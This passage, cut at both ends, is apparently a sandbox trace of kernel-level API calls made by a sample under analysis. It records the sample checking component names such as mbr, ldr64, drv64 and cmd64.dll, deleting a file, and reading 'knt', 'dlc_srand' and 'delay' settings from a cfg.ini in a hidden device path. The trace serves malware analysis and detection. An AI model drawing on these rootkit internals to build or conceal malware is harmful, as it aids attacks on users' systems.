FastMutex=0xfffffa80027d3898) [0127.096] KeLeaveCriticalRegion () [0127.096] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.096] ReleaseMutex (hMutex=0xf0) returned 1 [0127.096] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.096] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.096] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.096] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.096] KeEnterCriticalRegion () [0127.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.096] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.096] IdePortDispatch () returned 0x103 [0127.096] KeWaitForMutexObject () returned 0x0 [0127.096] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.096] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.096] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.097] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.097] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.097] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.097] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.097] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.097] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.097] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.097] KeLeaveCriticalRegion () [0127.097] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.097] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.097] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.097] KeEnterCriticalRegion () [0127.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.097] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.097] IdePortDispatch () returned 0x103 [0127.097] KeWaitForMutexObject () returned 0x0 [0127.097] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.097] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.097] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.097] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.097] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.097] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.097] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.097] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.097] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.097] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.098] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.098] KeLeaveCriticalRegion () [0127.098] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.098] ReleaseMutex (hMutex=0x100) returned 1 [0127.098] Sleep (dwMilliseconds=0x2bf20) [0127.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ef55b50, dwHighDateTime=0x1d24fa4)) [0127.104] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.104] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.104] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.104] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.104] KeEnterCriticalRegion () [0127.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.104] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.104] IdePortDispatch () returned 0x103 [0127.104] KeWaitForMutexObject () returned 0x0 [0127.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.104] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.104] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.104] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.104] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.104] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc920 [0127.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.104] KeLeaveCriticalRegion () [0127.104] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.104] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.105] KeEnterCriticalRegion () [0127.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.105] KeLeaveCriticalRegion () [0127.105] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.105] KeEnterCriticalRegion () [0127.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.105] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.105] IdePortDispatch () returned 0x103 [0127.105] KeWaitForMutexObject () returned 0x0 [0127.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.105] KeLeaveCriticalRegion () [0127.105] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.105] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.105] KeEnterCriticalRegion () [0127.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.105] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b82000 [0127.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.105] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.105] IdePortDispatch () returned 0x103 [0127.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.106] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.106] IdePortDispatch () returned 0x103 [0127.106] KeWaitForMutexObject () returned 0x0 [0127.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.106] KeLeaveCriticalRegion () [0127.106] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.106] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.106] KeEnterCriticalRegion () [0127.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.106] KeLeaveCriticalRegion () [0127.106] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.106] KeEnterCriticalRegion () [0127.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.106] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.106] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc9e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.106] KeLeaveCriticalRegion () [0127.106] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.106] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.107] KeEnterCriticalRegion () [0127.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] ExFreePoolWithTag (P=0xfffffa8002adc920, Tag=0x0) [0127.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] KeLeaveCriticalRegion () [0127.107] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.107] ReleaseMutex (hMutex=0xf0) returned 1 [0127.107] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.107] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.107] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.107] KeEnterCriticalRegion () [0127.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.107] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.107] IdePortDispatch () returned 0x103 [0127.107] KeWaitForMutexObject () returned 0x0 [0127.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.107] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.107] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.107] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.107] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.107] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] KeLeaveCriticalRegion () [0127.107] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.107] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.107] KeEnterCriticalRegion () [0127.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] KeLeaveCriticalRegion () [0127.107] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.107] KeEnterCriticalRegion () [0127.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.108] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.108] IdePortDispatch () returned 0x103 [0127.108] KeWaitForMutexObject () returned 0x0 [0127.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.108] KeLeaveCriticalRegion () [0127.108] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.108] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.108] KeEnterCriticalRegion () [0127.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.108] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b83000 [0127.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.108] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.108] IdePortDispatch () returned 0x103 [0127.108] KeWaitForMutexObject () returned 0x0 [0127.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.108] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.108] IdePortDispatch () returned 0x103 [0127.109] KeWaitForMutexObject () returned 0x0 [0127.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] KeLeaveCriticalRegion () [0127.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.109] KeEnterCriticalRegion () [0127.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] KeLeaveCriticalRegion () [0127.109] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.109] KeEnterCriticalRegion () [0127.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.109] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] KeLeaveCriticalRegion () [0127.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.109] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.109] KeEnterCriticalRegion () [0127.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.109] KeLeaveCriticalRegion () [0127.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.109] ReleaseMutex (hMutex=0xf0) returned 1 [0127.109] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.109] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.110] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.110] KeEnterCriticalRegion () [0127.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.110] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.110] IdePortDispatch () returned 0x103 [0127.110] KeWaitForMutexObject () returned 0x0 [0127.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.110] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.110] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.110] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.110] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.110] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf50c0 [0127.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.110] KeLeaveCriticalRegion () [0127.110] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.110] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.110] KeEnterCriticalRegion () [0127.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.110] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.110] KeLeaveCriticalRegion () [0127.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.111] KeEnterCriticalRegion () [0127.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.111] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.111] IdePortDispatch () returned 0x103 [0127.111] KeWaitForMutexObject () returned 0x0 [0127.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.111] KeLeaveCriticalRegion () [0127.111] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.111] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.111] KeEnterCriticalRegion () [0127.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b84000 [0127.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 